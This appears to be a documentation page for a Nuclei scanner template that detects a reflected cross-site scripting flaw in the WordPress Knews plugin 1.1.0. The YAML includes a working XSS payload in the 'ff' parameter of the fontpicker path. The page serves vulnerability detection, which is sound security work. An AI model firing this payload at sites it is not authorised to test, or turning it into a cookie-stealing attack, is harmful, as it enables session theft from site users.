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WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting

ID: wp-knews-xss

Severity: high

Author: daffainfo

Tags: wordpress,xss,wp-plugin

Description

Section titled “Description”

WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: wp-knews-xss


info:
  name: WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting
  author: daffainfo
  severity: high
  description: WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - http://web.archive.org/web/20210213220043/https://www.securityfocus.com/bid/54330/info
    - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-knews-multilingual-newsletters-ff-parameter-cross-site-scripting-1-1-0
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: wordpress,xss,wp-plugin


flow: http(1) && http(2)


http:
  - raw:
      - |
        GET /wp-content/plugins/knews/readme.txt HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: word
        internal: true
        words:
          - 'Knews Multilingual Newsletters'


  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-knews-xss.yaml"

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